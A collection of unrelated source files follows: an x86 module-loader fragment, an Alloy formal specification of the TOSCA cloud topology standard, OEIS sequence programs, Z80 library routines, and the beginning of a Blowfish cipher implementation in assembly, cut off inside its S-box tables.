POPM BX,AX JNZ 1$ 8$: RET INIT_SYSCALLS ENDP LOADERRMSG DB "OPTLOAD -- Error loading module", 0 CANTOPEN_MSG DB "OPTLOAD -- Cannot Open",0 if debug PROGRESS_MSG DB "OPTLOAD for Windows",0 endif RTBL DB 15,16,17,18,49,50,102,110,132,176,184,185,196,0 RTBL2 DB 1,0 DB 0 GLOBALDOS_FAILED DB 0 PRELOADS_DONE DB 0 EVEN ? GTBL LABEL DWORD NMD GLOBALALLOC ;KERNEL.15 ;THESE ARE NOW JUST DD'S NMD GLOBALREALLOC ;KERNEL.16 NMD GLOBALFREE ;KERNEL.17 NMD GLOBALLOCK ;KERNEL.18 NMD GETMODULEFILENAME ;KERNEL.49 NMD GETPROCADDRESS ;KERNEL.50 NMD DOS3CALL ;KERNEL.102 NMD PATCHCODEHANDLE ;KERNEL.110 NMD GETWINFLAGS ;KERNEL.132 NMD FREESELECTOR ;KERNEL.176 NMD GLOBALDOSALLOC ;KERNEL.184 NMD GLOBALDOSFREE ;KERNEL.185 NMD SELECTORACCESSRIGHTS ;KERNEL.196 NMD MESSAGEBOX ;USER.1 MASTER_TEMP_HANDLE DW 0 MASTER_TEMP_SEGMENT DW 0 MAX_SEGSZ_FILE DW 0 ;MAX SIZE OF SEGMENT IN FILE (IN BYTES), ROUNDED FOR 512 ALIGNMENT DGROUP_SEGNO DW 0 ME_ASCIZ DD 0 ME_ASCIZ_TEXT DB 260 DUP(0) BOOTAPP_END LABEL BYTE endif LOADER___SLRLOAD ENDS END
bin/Alloy/models/cloudnet/TOSCA.als
ORANGE-XFM/Cloudnet-TOSCA-toolbox
21
2083
<reponame>ORANGE-XFM/Cloudnet-TOSCA-toolbox /****************************************************************************** * * Software Name : Cloudnet TOSCA toolbox * Version: 1.0 * SPDX-FileCopyrightText: Copyright (c) 2020 Orange * SPDX-License-Identifier: Apache-2.0 * * This software is distributed under the Apache License 2.0 * the text of which is available at http://www.apache.org/licenses/LICENSE-2.0 * or see the "LICENSE-2.0.txt" file for more details. * * Author: <NAME> (INRIA) <<EMAIL>> * * A formal specification of TOSCA in Alloy with Location Graphs. * *******************************************************************************/ module TOSCA open LocationGraphs as LG /** Definition for maps. */ open map[Int] as map_integer open map[String] as map_string open map[Data] as map_data open map[map_data/Map] as map_map_data // TODO: add other maps if needed. /******************************************************************************* * TOSCA scalar types. *******************************************************************************/ let any = (Int + String + boolean + Scalar + map_integer/Map + map_string/Map + Data + map_data/Map + map_map_data/Map) enum boolean { true, false } let string = String let EMPTY_STRING = "<empty string>" // empty string is not allowed by Alloy Analyzer let version = String // TODO: WOULD be revisited let range = String // TODO: MUST be revisited let integer = Int let float = String // ISSUE: Use string as there is no float primitive type in Alloy. let timestamp=String /** Definition for scalar-unit.* */ abstract sig Scalar { value: one Int } { value >= 0 // A scalar is a positive integer. } enum SizeUnits { B, kB, KiB, MB, MiB, GB, GiB, TB, TiB } sig scalar_unit_size extends Scalar { unit: one SizeUnits } pred scalar_unit_size.init[v: one Int, u: one SizeUnits] { this.value = v this.unit = u } /** Is a size greater than or equal to another size. */ pred scalar_unit_size.greater_or_equal[v: one Int, u: one SizeUnits] { v != 0 implies // if v = 0 then this predicate is true this.unit = u implies this.value >= v else this.unit.gt[u] // as size units are listed from the lower to the higher unit. } enum FrequencyUnits { Hz, kHz, MHz, GHz } sig scalar_unit_frequency extends Scalar { unit: one FrequencyUnits } pred scalar_unit_frequency.init[v: one Int, u: one FrequencyUnits] { this.value = v this.unit = u } /** Is a frequency greater than or equal to another frequency. */ pred scalar_unit_frequency.greater_or_equal[v: one Int, u: one FrequencyUnits] { v != 0 implies // if v = 0 then this predicate is true this.unit = u implies this.value >= v else this.unit.gt[u] // as size units are listed from the lower to the higher unit. } enum TimeUnits { d, h, m, s, ms, us, ns } sig scalar_unit_time extends Scalar { unit: one TimeUnits } pred scalar_unit_time.init[v: one Int, u: one TimeUnits] { this.value = v this.unit = u } /** Is a time greater than or equal to another time. */ pred scalar_unit_time.greater_or_equal[v: one Int, u: one TimeUnits] { v != 0 implies // if v = 0 then this predicate is true this.unit = u implies this.value >= v else this.unit.lt[u] // as time units are listed from the higher to the lower unit. } /** Is a time greater than or equal to another time. */ pred scalar_unit_time.greater_or_equal[sut: one scalar_unit_time] { this.greater_or_equal[sut.value, sut.unit] } /** Is a time greater than another time. */ pred scalar_unit_time.greater_than[v: one Int, u: one TimeUnits] { v != 0 implies // if v = 0 then this predicate is true this.unit = u implies this.value > v else this.unit.lt[u] // as time units are listed from the higher to the lower unit. } /** Is a time greater than another time. */ pred scalar_unit_time.greater_than[sut: one scalar_unit_time] { this.greater_than[sut.value, sut.unit] } /******************************************************************************* * TOSCA scalar predicates. *******************************************************************************/ pred valid_values[variable: one String, values: set String] { variable in values } pred string.pattern[value: one string] { // Do nothing as can not be expressed with Alloy. } pred integer.valid_values[values: set integer] { this in values } /* pred valid_values[variable: one String, value1: one Int, value2: one Int] { // TODO: variable in values } */ pred in_range[variable: one range, value1: one Int, value2: one Int] { // NOTE: Always true because not supported currently. } pred float.in_range[lower: one float, upper: one float] { // NOTE: Always true because not supported currently. } pred float.greater_or_equal[value: one float] { // NOTE: Always true because not supported currently. } pred integer.greater_or_equal[value: one Int] { one this implies this >= value } pred integer.greater_than[value: one Int] { one this implies this > value } pred integer.less_or_equal[value: one Int] { one this implies this <= value } pred integer.in_range[lower: one integer, upper: one integer] { one this implies { lower <= this this <= upper } } pred min_length[variable: one String, value: one Int] { // NOTE: Always true because not supported currently. } /* pred min_length[variable: set String -> univ, value: one Int] { #variable >= value } */ //fk added following an error in SOL001 2.8.1 NSD_types: 'constraints: min_length' has been applied to a list in tosca.policies.nfv.NsMonitoring pred min_length[variable: seq univ, value: one Int] { #variable >= value } pred boolean.equal[value: one boolean] { this = value } pred string.equal[value: one String] { this = value } /******************************************************************************* * TOSCA range predicates. *******************************************************************************/ // pm: TODO must be changed when the signature Range will be introduced pred range.init[p : set integer] { // TODO: Nothing currently until waiting for the introduction of the Range signature. } /******************************************************************************* * TOSCA nodes, relationships, groups, and policies are named LG locations. *******************************************************************************/ abstract sig ToscaComponent extends LG/Location { _name_ : lone String, attributes: set Attribute, interfaces : set Interface, } { // Each attribute has a distinct name. distinct_names[attributes] // Each interface has a distinct name. distinct_names[interfaces] // TBR // Commented because a TOSCA profile could have no tosca_name attribute. // one attribute["tosca_name"] implies attribute["tosca_name"].value = _name_ } pred ToscaComponent.no_name[] { no this._name_ } pred ToscaComponent.name[n: one String] { this._name_ = n } pred distinct_names[components : set ToscaComponent] { all disj c1, c2 : components | c1._name_ != c2._name_ } fun component[components: set ToscaComponent, component_name: one String] : one ToscaComponent { { c : components { c._name_ = component_name } } } /** An attribute is owned by this TOSCA component. */ pred ToscaComponent.attribute[attribute: one Attribute] { attribute in this.attributes } fun ToscaComponent.attribute[name: one String] : one Attribute { get_value[this.attributes, name] } /** An interface is owned by this TOSCA component. */ pred ToscaComponent.interface[interface: one Interface] { interface in this.interfaces } fun ToscaComponent.interface[name: one String] : one Interface { get_value[this.interfaces, name] } /******************************************************************************* * TOSCA requirements and capabilities are named LG roles. *******************************************************************************/ abstract sig ToscaRole extends LG/Role { _name_: one String, } { } pred ToscaRole.no_name[] { this._name_= "(anonymous)" } pred ToscaRole.name[n: one String] { this._name_ in n // NOTE: Could be also // some this implies this.name = n // but this produces more SAT vars and clauses. } fun role[roles: set ToscaRole, role_name: one String] : set ToscaRole { { r : roles { r._name_ = role_name } } } /******************************************************************************* * TOSCA interfaces, operations, and artifacts are named LG values. *******************************************************************************/ abstract sig ToscaValue extends LG/Value { _name_: lone String, } pred ToscaValue.no_name[] { no this._name_ } pred ToscaValue.name[n: one String] { this._name_ = n } pred distinct_names[values : set ToscaValue] { all disj v1, v2 : values | v1._name_ != v2._name_ } fun get_value[values: set ToscaValue, value_name: one String] : one ToscaValue { { v : values { v._name_ = value_name } } } /******************************************************************************* * TOSCA Topology Template. *******************************************************************************/ sig TopologyTemplate extends LG/LocationGraph { description: lone string, // The optional description for the Topology Template. inputs: set Parameter, // An optional list of input parameters (i.e., as parameter definitions) for the Topology Template. nodes : set Node, // An optional list of node template definitions for the Topology Template. relationships : set Relationship, // An optional list of relationship templates for the Topology Template. groups : set Group, // An optional list of Group definitions whose members are node templates defined within this same Topology Template. policies : set Policy, // An optional list of Policy definitions for the Topology Template. outputs: set Parameter, // An optional list of output parameters (i.e., as parameter definitions) for the Topology Template. substitution_mapping: lone Node, // An optional declaration that exports the topology template as an implementation of a Node type. This also includes the mappings between the external Node Types named capabilities and requirements to existing implementations of those capabilities and requirements on Node templates declared within the topology template. // TODO workflows: set Workflow, // An optional map of imperative workflow definition for the Topology Template. } { // Each input has a distinct name. distinct_names[inputs] // Each node has a distinct name. distinct_names[nodes] // Each relationskip has a distinct name. distinct_names[relationships] // Each group has a distinct name. distinct_names[groups] // Each policy has a distinct name. distinct_names[policies] // Each output has a distinct name. distinct_names[outputs] // if one substitution_mapping then it is distinct of nodes. one substitution_mapping implies substitution_mapping not in nodes // // Mapping TOSCA to Location Graphs. // // nodes, relationships, groups and policies are locations of this location graph. // TBR locations = nodes + relationships + groups + policies + nodes.requirements.relationship locations = nodes + relationships + groups + policies + (String.(nodes.requirements)).relationship // NOTE: substitution_mapping is not a location of this location graph but // will be part of the location graphs where it will be substituted. } fun TopologyTemplate.input[name: one String] : one Parameter { get_value[this.inputs, name] } fun TopologyTemplate.get_input[name: one String]: one any { this.input[name].value } fun TopologyTemplate.get_artifact[node: one Node, artifact_name: one String]: one string { node.artifact[artifact_name].file } fun TopologyTemplate.get_attribute[node: one Node, attribute_name: one String]: one string { node.attribute[attribute_name].value } pred TopologyTemplate.set_input[name: one String, v: one any] { this.input[name].set_value[v] } pred TopologyTemplate.with_inputs[args: String -> lone any] { all input : this.inputs { let arg_value=args[input._name_] { one arg_value implies input.set_value[arg_value] else let default_value=input.default { one default_value implies input.set_value[default_value] else no input.value } } } } /** A node is part of this topology. */ pred TopologyTemplate.node[node: Node] { node in this.nodes } fun TopologyTemplate.node[name: String] : one Node { component[this.nodes, name] } /** A relationship is part of this topology. */ pred TopologyTemplate.relationship[relationship: Relationship] { relationship in this.relationships } fun TopologyTemplate.relationship[name: String] : one Relationship { component[this.relationships, name] } /** A group is part of this topology. */ pred TopologyTemplate.group[group: Group] { group in this.groups } fun TopologyTemplate.group[name: String] : one Group { component[this.groups, name] } /** A policy is part of this topology. */ pred TopologyTemplate.policy[policy: Policy] { policy in this.policies } fun TopologyTemplate.policy[name: String] : one Policy { component[this.policies, name] } pred TopologyTemplate.output[output: one Parameter] { output in this.outputs } fun TopologyTemplate.output[name: one String] : one Parameter { get_value[this.outputs, name] } pred TopologyTemplate.substitution_mappings[node: Node] { this.substitution_mapping = node } pred connectCapability[capabilities: set Capability, node_capabilities: set Capability] { one cap : node_capabilities { cap in capabilities } } pred connectRequirement[requirements: set Requirement, node_requirements: set Requirement] { one req : node_requirements { req in requirements } } pred TopologyTemplate.apply_substitution[] { let substitution_mapping_nodes=TopologyTemplate.substitution_mapping { all node : this.nodes { let node_type=node.node_type_name { node_type in substitution_mapping_nodes.node_type_name - this.substitution_mapping.node_type_name implies one sub : { n : substitution_mapping_nodes | n.node_type_name = node_type } { node = sub } } } } } /******************************************************************************* * TOSCA Node. *******************************************************************************/ abstract sig Node extends ToscaComponent { node_type_name: lone String, // NOTE: Used by the substitution algorithm. // TBR: requirements : set Requirement, requirements : String -> Requirement, capabilities : set Capability, artifacts : set Artifact, } { // Each artifact has a distinct name. distinct_names[artifacts] // // Mapping TOSCA to Location Graphs. // // Requirements are required roles of this location. // TBR: required = requirements required = String.requirements // // Capabilities are provided roles of this location. provided = capabilities } /** A capability is owned by this node. */ pred Node.capability[capability: one Capability] { capability in this.capabilities } fun Node.capability[name: one String] : set Capability { role[this.capabilities, name] } /** A requirement is owned by this node. */ // TBR: pred Node.requirement[requirement: one Requirement] pred Node.requirement[name: String, requirement: one Requirement] { // TBR: requirement in this.requirements (name -> requirement) in this.requirements } fun Node.requirement[name: one String] : set Requirement { // TBR: role[this.requirements, name] this.requirements[name] } /** An artefact is owned by this node. */ pred Node.artifact[artifact: one Artifact] { artifact in this.artifacts } fun Node.artifact[name: one String] : one Artifact { get_value[this.artifacts, name] } /******************************************************************************* * TOSCA Requirement. *******************************************************************************/ // TODO: to remove as perhaps not required // abstract // TBR: abstract is not necessary sig Requirement extends ToscaRole { relationship: lone Relationship } { // // TOSCA constraints. // // The source of the relationship is this requirement. one relationship implies relationship.source = this // The name of requirement is stored by the node owning this reference. no_name[] } /* Return the node owning a given requirement. */ fun Requirement.node[] : set Node { // TBR: ~(Node<:requirements)[this] ~(Node<:select13[requirements])[this] } // Copied from ternary.als /** returns the first and last columns of a ternary relation */ fun select13 [r: univ->univ->univ] : ((r.univ).univ) -> (univ.(univ.r)) { {x: (r.univ).univ, z: univ.(univ.r) | some (x.r).z} } /** The capability targetted by this requirement is of given capability types. */ pred Requirement.capability[capabilities: set Capability] { this.relationship.target in capabilities } /** The capability targetted by this requirement is owned by given node types. */ pred Requirement.node[nodes: set Node] { this.relationship.target.node in nodes } pred Requirement.relationship[rel: set Relationship] { this.relationship in rel } /** The target node of this requirement. */ fun Requirement.node_filter[]: set Node { this.relationship.target.node } pred connect[requirements : set Requirement, capabilities : set Capability] { one requirement : requirements { requirement.relationship.source = requirement one capability : capabilities { requirement.relationship.target = capability } } } /******************************************************************************* * TOSCA Capability. *******************************************************************************/ abstract sig Capability extends ToscaRole { attributes: set Attribute } { // Each attribute has a distinct name. distinct_names[attributes] } /* Return the node owning a given capability. */ fun Capability.node[] : one Node { ~(Node<:capabilities)[this] } /** An attribute is owned by this TOSCA capability. */ pred Capability.attribute[attribute: one Attribute] { attribute in this.attributes } fun Capability.attribute[name: one String] : one Attribute { get_value[this.attributes, name] } /** The requirements targetting this capability are owned by given node types. */ pred Capability.valid_source_types[nodes: set Node] { ~(Relationship<:target)[this].source.node in nodes } /******************************************************************************* * TOSCA Relationship. *******************************************************************************/ abstract sig Relationship extends ToscaComponent { source : one Requirement, target: one Capability } { // // Mapping TOSCA to Location Graphs. // // The source requirement is a provided role of this location. provided = source // // The target capability is a required role of this location. required = target } pred Relationship.valid_target_types[capabilities: set Capability] { this.target in capabilities } /******************************************************************************* * TOSCA Group. *******************************************************************************/ abstract sig Group extends ToscaComponent { members: set Node } { // TODO: members must be owned by the location graph owning this group. } pred Group.members_type[nodes: set Node] { this.members in nodes } pred Group.members[nodes: set Node] { this.members = nodes } /******************************************************************************* * TOSCA Policy. *******************************************************************************/ abstract sig Policy extends ToscaComponent { targets: set Node + Group } { // TODO: targets must be owned by the location graph owning this policy. } pred Policy.targets_type[nodesAndGroups: set Node + Group] { this.targets in nodesAndGroups } pred Policy.targets[nodesAndGroups: set Node + Group] { this.targets = nodesAndGroups } /******************************************************************************* * TOSCA Interface. *******************************************************************************/ abstract sig Interface extends ToscaValue { operations: set Operation, } { // Each operation has a distinct name. distinct_names[operations] } pred Interface.operation[operation: Operation] { operation in this.operations } fun Interface.operation[name: String] : one Operation { get_value[this.operations, name] } /******************************************************************************* * TOSCA Operation. *******************************************************************************/ sig Operation extends ToscaValue { implementation: lone Artifact, inputs: set Parameter, } { // Each input has a distinct name. distinct_names[inputs] } fun Operation.input[name: one String] : one Parameter { get_value[this.inputs, name] } pred Operation.implementation[artifact_type: set Artifact, impl: one String] { this.implementation in artifact_type this.implementation.file = impl no this.implementation._name_ } /******************************************************************************* * TOSCA Attribute. *******************************************************************************/ sig Attribute extends ToscaValue { value: one any, } pred Attribute.type[types: set any] { this.value in types } /******************************************************************************* * TOSCA Artifact. *******************************************************************************/ abstract sig Artifact extends ToscaValue { mime_type: lone String, file_ext: set String, file: lone String, } pred Artifact.mime_type[mt: one String] { this.mime_type = mt } pred Artifact.file_ext[fe: set String] { this.file_ext = fe } pred Artifact.file[f: set String] { this.file = f } /******************************************************************************* * TOSCA Data. *******************************************************************************/ abstract sig Data extends LG/Value { } /******************************************************************************* * TOSCA Property and Parameter. *******************************************************************************/ abstract sig AbstractProperty extends ToscaValue { type: lone string, // The required data type for the property. description: lone string, // The optional description for the property. required: lone boolean, // An optional key that declares a property as required (true) or not (false). Default is true. default: lone any, // An optional key that may provide a value to be used as a default if not provided by another means. status: lone // The optional status of the property relative to the specification or implementation. Default is "supported". "supported" // Indicates the property is supported. This is the default value for all property definitions. + "unsupported" // Indicates the property is not supported. + "experimental" // Indicates the property is experimental and has no official standing. + "deprecated", // Indicates the property has been deprecated by a new specification version. // NOTE: AbstractProperty constraints are mapped to Alloy facts. // constraints: set string, // The optional list of sequenced constraint clauses for the property. // NOTE: AbstractProperty entry_schema are mapped to Alloy facts. // entry_schema: lone string, // The optional key that is used to declare the name of the Datatype definition for entries of set types such as the TOSCA list or map. external_schema: lone string, // The optional key that contains a schema definition that TOSCA Orchestrators MAY use for validation when the “type” key’s value indicates an External schema (e.g., “json”) See section “External schema” below for further explanation and usage. metadata: String -> lone string, // Defines a section used to declare additional metadata information. } sig Property extends AbstractProperty { } { one type // The type of a property is required. } sig Parameter extends AbstractProperty { value: lone any, // The type-compatible value to assign to the named parameter. Parameter values may be provided as the result from the evaluation of an expression or a function. } pred Parameter.type[types: set any] { this.value in types this.default in types } pred Parameter.required[req: one boolean] { this.required = req // TODO: Following is commented currently because this does not work correctly for topology template outputs. // req = true implies one this.value } pred Parameter.set_value[v: one any] { this.value = v } pred Parameter.undefined[] { no this.type no this.description no this.required no this.default no this.status no this.external_schema no this.metadata } /******************************************************************************* * Consistency Property. ******************************************************************************/ /** Consistency means that there exists some TOSCA topology. */ run Model {} run OneTopologyWithTwoNodeOneRelationship { "string1" + "string2" in String Node in TopologyTemplate.nodes Relationship in TopologyTemplate.relationships } for 10 but exactly 1 TopologyTemplate, exactly 2 Node, exactly 1 Relationship
programs/oeis/008/A008260.asm
neoneye/loda
22
93019
; A008260: Coordination sequence for Paracelsian. ; 1,4,10,21,37,57,81,109,142,180,222,268,318,373,433,497,565,637,714,796,882,972,1066,1165,1269,1377,1489,1605,1726,1852,1982,2116,2254,2397,2545,2697,2853,3013,3178,3348,3522,3700,3882,4069,4261,4457,4657,4861,5070,5284,5502,5724,5950,6181,6417,6657,6901,7149,7402,7660,7922,8188,8458,8733,9013,9297,9585,9877,10174,10476,10782,11092,11406,11725,12049,12377,12709,13045,13386,13732,14082,14436,14794,15157,15525,15897,16273,16653,17038,17428,17822,18220,18622,19029,19441,19857,20277,20701,21130,21564 pow $0,2 mov $2,1 lpb $0 add $0,$2 mul $2,$0 sub $0,1 div $0,5 mul $2,2 lpe add $0,$2
libsrc/algorithm/AStarSearch/astar_PathLength.asm
andydansby/z88dk-mk2
1
15310
<gh_stars>1-10 ; uint __FASTCALL__ astar_PathLength(struct astar_path *p) ; return the length of the path ; 01.2007 aralbrec XLIB astar_PathLength ; enter : hl = struct astar_path * ; exit : hl = path length ; uses : af, bc, de, hl .astar_PathLength ld bc,3 ld d,b ld e,b .loop ld a,h or l jr z, done inc de add hl,bc ld a,(hl) inc hl ld h,(hl) ld l,a jp loop .done ex de,hl ret
libsrc/fcntl/nc100/write.asm
meesokim/z88dk
0
3529
<reponame>meesokim/z88dk<gh_stars>0 ; ; Write a file on an Amstrad NC100 ; PUBLIC write .write pop ix pop de pop hl pop bc push bc push hl push de push ix ld a, b or c call nz, 0xB8AB ld h, b ld l, c ret
oeis/189/A189801.asm
neoneye/loda-programs
11
4054
<filename>oeis/189/A189801.asm ; A189801: a(n) = 6*a(n-1) + 9*a(n-2), with a(0)=0, a(1)=1. ; Submitted by <NAME> ; 0,1,6,45,324,2349,17010,123201,892296,6462585,46806174,339000309,2455257420,17782547301,128792600586,932798529225,6755924580624,48930734246769,354387726706230,2566702968458301,18589707351105876,134638570822759965,975138791096512674,7062579883983915729,51151728423772108440,370473589498487892201,2683207092804876329166,19433504862315649004805,140749893009137780991324,1019400901815667526991189,7383154447976245190869050,53473534804198478888135001,387289598856977080046631456 mov $1,3 pow $1,$0 lpb $0 sub $0,1 mov $3,$1 mov $1,$2 mul $2,2 add $2,$3 lpe mov $0,$2 div $0,3
ciphers/blowfish.asm
FloydZ/Crypto-Hash
11
20654
<gh_stars>10-100 comment * Blowfish implementation. Fixed version ! Algo : BLOWFISH Block : 8 bytes Rounds : 16 Key : max. 56 bytes (448 b) push lPass ;password length in bytes push offset Pass ;password ptr call Blowfish_SetKey push offset plain ;data to encrypt ptr push offset encrypted_buf ;destination ptr call Blowfish_Encrypt push offset encrypted_buf ;data to decrypt ptr push offset plain ;destination ptr call Blowfish_Decrypt call Blowfish_Clear ;clear temporary data ! (C) 2001, 2002 WiteG//xtreeme (<EMAIL>, www.witeg.prv.pl) * Blowfish_SetKey PROTO :DWORD, :DWORD Blowfish_Encrypt PROTO :DWORD, :DWORD Blowfish_Decrypt PROTO :DWORD, :DWORD Blowfish_Clear PROTO MAX_KEYSIZE equ 56 ; (448 bit) .data? ALIGN 8 _PBox dd 18 dup (?) _SBox1 dd 256 dup (?) _SBox2 dd 256 dup (?) _SBox3 dd 256 dup (?) _SBox4 dd 256 dup (?) _InternalKey dd 18 dup (?) .data ALIGN 8 PBox dd 0243f6a88h, 085a308d3h, 013198a2eh, 003707344h, 0a4093822h, 0299f31d0h, 0082efa98h, 0ec4e6c89h, 0452821e6h, 038d01377h, 0be5466cfh, 034e90c6ch dd 0c0ac29b7h, 0c97c50ddh, 03f84d5b5h, 0b5470917h, 09216d5d9h, 08979fb1bh SBox1 dd 0d1310ba6h, 098dfb5ach, 02ffd72dbh, 0d01adfb7h, 0b8e1afedh, 06a267e96h, 0ba7c9045h, 0f12c7f99h, 024a19947h, 0b3916cf7h, 00801f2e2h, 0858efc16h dd 0636920d8h, 071574e69h, 0a458fea3h, 0f4933d7eh, 00d95748fh, 0728eb658h, 0718bcd58h, 082154aeeh, 07b54a41dh, 0c25a59b5h, 09c30d539h, 02af26013h dd 0c5d1b023h, 0286085f0h, 0ca417918h, 0b8db38efh, 08e79dcb0h, 0603a180eh, 06c9e0e8bh, 0b01e8a3eh, 0d71577c1h, 0bd314b27h, 078af2fdah, 055605c60h dd 0e65525f3h, 0aa55ab94h, 057489862h, 063e81440h, 055ca396ah, 02aab10b6h, 0b4cc5c34h, 01141e8ceh, 0a15486afh, 07c72e993h, 0b3ee1411h, 0636fbc2ah dd 02ba9c55dh, 0741831f6h, 0ce5c3e16h, 09b87931eh, 0afd6ba33h, 06c24cf5ch, 07a325381h, 028958677h, 03b8f4898h, 06b4bb9afh, 0c4bfe81bh, 066282193h dd 061d809cch, 0fb21a991h, 0487cac60h, 05dec8032h, 0ef845d5dh, 0e98575b1h, 0dc262302h, 0eb651b88h, 023893e81h, 0d396acc5h, 00f6d6ff3h, 083f44239h dd 02e0b4482h, 0a4842004h, 069c8f04ah, 09e1f9b5eh, 021c66842h, 0f6e96c9ah, 0670c9c61h, 0abd388f0h, 06a51a0d2h, 0d8542f68h, 0960fa728h, 0ab5133a3h dd 06eef0b6ch, 0137a3be4h, 0ba3bf050h, 07efb2a98h, 0a1f1651dh, 039af0176h, 066ca593eh, 082430e88h, 08cee8619h, 0456f9fb4h, 07d84a5c3h, 03b8b5ebeh dd 0e06f75d8h, 085c12073h, 0401a449fh, 056c16aa6h, 04ed3aa62h, 0363f7706h, 01bfedf72h, 0429b023dh, 037d0d724h, 0d00a1248h, 0db0fead3h, 049f1c09bh dd 0075372c9h, 080991b7bh, 025d479d8h, 0f6e8def7h, 0e3fe501ah, 0b6794c3bh, 0976ce0bdh, 004c006bah, 0c1a94fb6h, 0409f60c4h, 05e5c9ec2h, 0196a2463h dd 068fb6fafh, 03e6c53b5h, 01339b2ebh, 03b52ec6fh, 06dfc511fh, 09b30952ch, 0cc814544h, 0af5ebd09h, 0bee3d004h, 0de334afdh, 0660f2807h, 0192e4bb3h dd 0c0cba857h, 045c8740fh, 0d20b5f39h, 0b9d3fbdbh, 05579c0bdh, 01a60320ah, 0d6a100c6h, 0402c7279h, 0679f25feh, 0fb1fa3cch, 08ea5e9f8h, 0db3222f8h dd 03c7516dfh, 0fd616b15h, 02f501ec8h, 0ad0552abh, 0323db5fah, 0fd238760h, 053317b48h, 03e00df82h, 09e5c57bbh, 0ca6f8ca0h, 01a87562eh, 0df1769dbh dd 0d542a8f6h, 0287effc3h, 0ac6732c6h, 08c4f5573h, 0695b27b0h, 0bbca58c8h, 0e1ffa35dh, 0b8f011a0h, 010fa3d98h, 0fd2183b8h, 04afcb56ch, 02dd1d35bh dd 09a53e479h, 0b6f84565h, 0d28e49bch, 04bfb9790h, 0e1ddf2dah, 0a4cb7e33h, 062fb1341h, 0cee4c6e8h, 0ef20cadah, 036774c01h, 0d07e9efeh, 02bf11fb4h dd 095dbda4dh, 0ae909198h, 0eaad8e71h, 06b93d5a0h, 0d08ed1d0h, 0afc725e0h, 08e3c5b2fh, 08e7594b7h, 08ff6e2fbh, 0f2122b64h, 08888b812h, 0900df01ch dd 04fad5ea0h, 0688fc31ch, 0d1cff191h, 0b3a8c1adh, 02f2f2218h, 0be0e1777h, 0ea752dfeh, 08b021fa1h, 0e5a0cc0fh, 0b56f74e8h, 018acf3d6h, 0ce89e299h dd 0b4a84fe0h, 0fd13e0b7h, 07cc43b81h, 0d2ada8d9h, 0165fa266h, 080957705h, 093cc7314h, 0211a1477h, 0e6ad2065h, 077b5fa86h, 0c75442f5h, 0fb9d35cfh dd 0ebcdaf0ch, 07b3e89a0h, 0d6411bd3h, 0ae1e7e49h, 000250e2dh, 02071b35eh, 0226800bbh, 057b8e0afh, 02464369bh, 0f009b91eh, 05563911dh, 059dfa6aah dd 078c14389h, 0d95a537fh, 0207d5ba2h, 002e5b9c5h, 083260376h, 06295cfa9h, 011c81968h, 04e734a41h, 0b3472dcah, 07b14a94ah, 01b510052h, 09a532915h dd 0d60f573fh, 0bc9bc6e4h, 02b60a476h, 081e67400h, 008ba6fb5h, 0571be91fh, 0f296ec6bh, 02a0dd915h, 0b6636521h, 0e7b9f9b6h, 0ff34052eh, 0c5855664h dd 053b02d5dh, 0a99f8fa1h, 008ba4799h, 06e85076ah SBox2 dd 04b7a70e9h, 0b5b32944h, 0db75092eh, 0c4192623h, 0ad6ea6b0h, 049a7df7dh, 09cee60b8h, 08fedb266h, 0ecaa8c71h, 0699a17ffh, 05664526ch, 0c2b19ee1h dd 0193602a5h, 075094c29h, 0a0591340h, 0e4183a3eh, 03f54989ah, 05b429d65h, 06b8fe4d6h, 099f73fd6h, 0a1d29c07h, 0efe830f5h, 04d2d38e6h, 0f0255dc1h dd 04cdd2086h, 08470eb26h, 06382e9c6h, 0021ecc5eh, 009686b3fh, 03ebaefc9h, 03c971814h, 06b6a70a1h, 0687f3584h, 052a0e286h, 0b79c5305h, 0aa500737h dd 03e07841ch, 07fdeae5ch, 08e7d44ech, 05716f2b8h, 0b03ada37h, 0f0500c0dh, 0f01c1f04h, 00200b3ffh, 0ae0cf51ah, 03cb574b2h, 025837a58h, 0dc0921bdh dd 0d19113f9h, 07ca92ff6h, 094324773h, 022f54701h, 03ae5e581h, 037c2dadch, 0c8b57634h, 09af3dda7h, 0a9446146h, 00fd0030eh, 0ecc8c73eh, 0a4751e41h dd 0e238cd99h, 03bea0e2fh, 03280bba1h, 0183eb331h, 04e548b38h, 04f6db908h, 06f420d03h, 0f60a04bfh, 02cb81290h, 024977c79h, 05679b072h, 0bcaf89afh dd 0de9a771fh, 0d9930810h, 0b38bae12h, 0dccf3f2eh, 05512721fh, 02e6b7124h, 0501adde6h, 09f84cd87h, 07a584718h, 07408da17h, 0bc9f9abch, 0e94b7d8ch dd 0ec7aec3ah, 0db851dfah, 063094366h, 0c464c3d2h, 0ef1c1847h, 03215d908h, 0dd433b37h, 024c2ba16h, 012a14d43h, 02a65c451h, 050940002h, 0133ae4ddh dd 071dff89eh, 010314e55h, 081ac77d6h, 05f11199bh, 0043556f1h, 0d7a3c76bh, 03c11183bh, 05924a509h, 0f28fe6edh, 097f1fbfah, 09ebabf2ch, 01e153c6eh dd 086e34570h, 0eae96fb1h, 0860e5e0ah, 05a3e2ab3h, 0771fe71ch, 04e3d06fah, 02965dcb9h, 099e71d0fh, 0803e89d6h, 05266c825h, 02e4cc978h, 09c10b36ah dd 0c6150ebah, 094e2ea78h, 0a5fc3c53h, 01e0a2df4h, 0f2f74ea7h, 0361d2b3dh, 01939260fh, 019c27960h, 05223a708h, 0f71312b6h, 0ebadfe6eh, 0eac31f66h dd 0e3bc4595h, 0a67bc883h, 0b17f37d1h, 0018cff28h, 0c332ddefh, 0be6c5aa5h, 065582185h, 068ab9802h, 0eecea50fh, 0db2f953bh, 02aef7dadh, 05b6e2f84h dd 01521b628h, 029076170h, 0ecdd4775h, 0619f1510h, 013cca830h, 0eb61bd96h, 00334fe1eh, 0aa0363cfh, 0b5735c90h, 04c70a239h, 0d59e9e0bh, 0cbaade14h dd 0eecc86bch, 060622ca7h, 09cab5cabh, 0b2f3846eh, 0648b1eafh, 019bdf0cah, 0a02369b9h, 0655abb50h, 040685a32h, 03c2ab4b3h, 0319ee9d5h, 0c021b8f7h dd 09b540b19h, 0875fa099h, 095f7997eh, 0623d7da8h, 0f837889ah, 097e32d77h, 011ed935fh, 016681281h, 00e358829h, 0c7e61fd6h, 096dedfa1h, 07858ba99h dd 057f584a5h, 01b227263h, 09b83c3ffh, 01ac24696h, 0cdb30aebh, 0532e3054h, 08fd948e4h, 06dbc3128h, 058ebf2efh, 034c6ffeah, 0fe28ed61h, 0ee7c3c73h dd 05d4a14d9h, 0e864b7e3h, 042105d14h, 0203e13e0h, 045eee2b6h, 0a3aaabeah, 0db6c4f15h, 0facb4fd0h, 